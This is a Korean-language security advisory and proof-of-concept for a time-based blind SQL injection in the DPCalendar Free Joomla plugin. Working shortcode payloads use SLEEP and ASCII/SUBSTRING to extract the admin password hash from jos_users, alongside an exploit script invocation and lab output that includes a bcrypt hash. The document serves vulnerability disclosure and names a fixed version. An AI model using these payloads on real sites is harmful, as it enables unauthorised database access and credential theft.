
plg_content_dpcalendar 내 ORDER BY Shortcode를 통한 SQL Injection — DPCalendar Free ≤ 10.11.2
DPCalendar Free ≤ 10.11.2 — 작성자 권한 사용자가 시간 기반 블라인드 인젝션으로 전체 데이터베이스 추출
plg_content_dpcalendar 콘텐츠 플러그인은 Joomla 문서 본문에 포함된 {{#events order="..."}}{{/events}} 단축 코드를 파싱합니다. order 매개변수 값은 모델 자체의 populateState() 화이트리스트를 완전히 우회하여 에 직접 전달됩니다. 그런 다음 이 값은 로만 보호되는 SQL 절에 삽입됩니다 — 서브쿼리 인젝션을 차단하기에는 충분하지 않습니다.
EventsModel::setState('list.ordering', ...)DatabaseDriver::escape()ORDER BY문서를 생성하거나 편집할 수 있는 작성자(Author) 권한 사용자는 이를 악용하여 시간 기반 블라인드 SQL 인젝션을 통해 데이터베이스에서 데이터를 유출할 수 있습니다. SQLi는 공격자 자신의 문서 저장 요청 내에서 실행됩니다 — 피해자 상호작용, 게시된 문서, 관리자 개입이 필요 없습니다.
| 구성 요소 | 취약 버전 | 테스트 환경 | 수정 버전 |
|---|---|---|---|
| DPCalendar Free | 1.0.0 – 10.11.2 | Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27) | 10.12.0 |
참고: 이 취약점은 CVE-2026-57831(
EventsModel.php에서filter_created_by를 통한 인증되지 않은 SQLi, v10.11.2에서 수정됨)과는 별개입니다. 본 건은 콘텐츠 플러그인(plg_content_dpcalendar)에 영향을 미칩니다 — 다른 파일, 다른 매개변수이며, 발견 당시 최신 릴리스에서 패치되지 않은 상태였습니다.
유형: SQL 인젝션 (CWE-89) — 시간 기반 블라인드
필요한 인증: 작성자(Author) 역할 (Joomla 문서 생성/편집 가능)
엔드포인트: POST /index.php/submit-article?view=form&layout=edit
파일: plg_content_dpcalendar/src/Extension/DPCalendar.php
플러그인의 단축 코드 파서는 {{#events}} 태그의 모든 키-값 매개변수를 반복하면서 populateState() 화이트리스트 검증을 완전히 우회하여 모델 상태를 직접 설정합니다:
PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — 취약한 매개변수 처리
foreach ($params as $paramKey => $paramValue) {
switch ($paramKey) {
case 'order':
// 취약: 사용자 입력에서 직접 정렬 상태 설정
// populateState() 화이트리스트를 완전히 우회
$model->setState('list.ordering', $paramValue);
break;
case 'orderdir':
$model->setState('list.direction', $paramValue);
break;
// ...
}
}
오염된 값은 따옴표 이스케이프만 적용된 채 EventsModel::getListQuery()로 흘러 들어갑니다 — ORDER BY 컨텍스트에서 서브쿼리 인젝션을 차단하기에는 충분하지 않습니다:
COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — ORDER BY 구문 구성
$orderCol = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');
// $db->escape()는 따옴표만 이스케이프 — 서브쿼리 인젝션은 차단하지 못함
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));
(SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0))와 같은 서브쿼리는 따옴표 문자를 포함하지 않으므로 $db->escape()를 수정 없이 통과합니다. 결과 SQL은 다음과 같습니다:
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))--
ORDER BY 표현식은 결과 집합이 비어 있지 않을 때만 평가됩니다 — 즉, 게시된 향후 DPCalendar 이벤트가 최소 1개 이상 있어야 하며, 이는 활성화된 DPCalendar 설치의 표준 조건입니다.
핵심 동작: SQLi는 저장/편집 POST 요청 자체 내에서 실행됩니다 — 타이밍 지연은 HTTP 응답(303 리디렉트)에서 직접 관찰할 수 있습니다. 공격자는 자신의 POST 응답 시간을 측정합니다. 문서 조회, 페이지 새로고침, 게시 단계가 필요 없습니다.
전제 조건:
plg_content_dpcalendar 플러그인 활성화 (DPCalendar 설치 시 기본값)start_date가 미래인 게시된 DPCalendar 이벤트 최소 1개시나리오: 시간 기반 블라인드 SQLi → 관리자 자격 증명 추출
플러그인은 쿼리 구성 전에 filter.state = 1 및 list.start-date = NOW()를 설정합니다. ORDER BY 서브쿼리는 결과 집합에 행이 있을 때만 실행됩니다. 일치하는 행이 0개이면 SLEEP()는 호출되지 않습니다.

작성자 계정을 사용하여 Joomla 프론트엔드에 인증합니다. 이 공격의 어떤 단계에서도 관리자 액세스는 필요하지 않습니다.

프론트엔드 문서 제출 양식(/submit-article)으로 이동합니다. 문서 본문에 다음 페이로드를 삽입하고 **저장(Save)**을 클릭합니다:
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}
POST 응답 자체가 약 5초 지연됩니다. onContentPrepare는 Joomla 저장 파이프라인 중에 실행되어 303 리디렉트가 발행되기 전에 취약한 쿼리를 호출합니다. 문서 조회나 게시가 필요 없습니다.

1=1을 1=2(항상 거짓)로 바꿉니다. SLEEP가 트리거되지 않아 응답이 즉시 반환됩니다(~100ms). 신뢰할 수 있는 타이밍 분리가 확인됩니다.
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

ASCII(SUBSTRING(...)) 비교를 사용하여 각 문자를 읽습니다. 작은따옴표는 피해야 합니다(단축 코드 정규식 [^"\']*은 따옴표 문자에서 중단됨). 대신 십진수 ASCII 값을 사용합니다:
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}
응답 시간 ~5초 → TRUE → char[1] = '$' (ASCII 36 — bcrypt $2y$10$... 해시의 첫 번째 문자).

exploit/exploit.py를 실행하여 바이트 단위 추출 루프를 자동화합니다:
python3 exploit/exploit.py http://TARGET
스크립트는 작성자로 로그인하고, 제작된 페이로드를 제출하며, 사용자 이름, 이메일, 전체 60자 bcrypt 비밀번호 해시를 추출합니다. 실험실 결과 확인: admin / [email protected] / $2y$10$5hGoueEFCH1z3NXZT3aWj.RZQ7ebuRqe8xU/s56iZPidb2GX1NqoC.

| 조건 | 응답 시간 |
|---|---|
TRUE: ASCII(SUBSTR(password,1,1))=36 | ~5,000 ms |
FALSE: ASCII(SUBSTR(password,1,1))=65 | ~100 ms |
jos_users.password), 세션 토큰, 사용자 이메일을 포함한 Joomla 데이터베이스의 모든 데이터를 추출할 수 있습니다.